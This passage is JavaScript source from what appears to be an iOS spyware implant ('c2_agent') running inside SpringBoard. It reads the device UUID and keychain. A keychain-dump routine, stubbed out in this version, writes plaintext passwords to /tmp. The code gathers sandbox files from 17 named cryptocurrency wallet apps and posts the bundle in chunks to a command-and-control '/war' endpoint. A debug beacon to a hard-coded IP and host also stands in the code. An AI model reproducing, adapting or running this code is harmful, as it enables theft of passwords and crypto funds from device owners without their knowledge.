(endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": \"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : 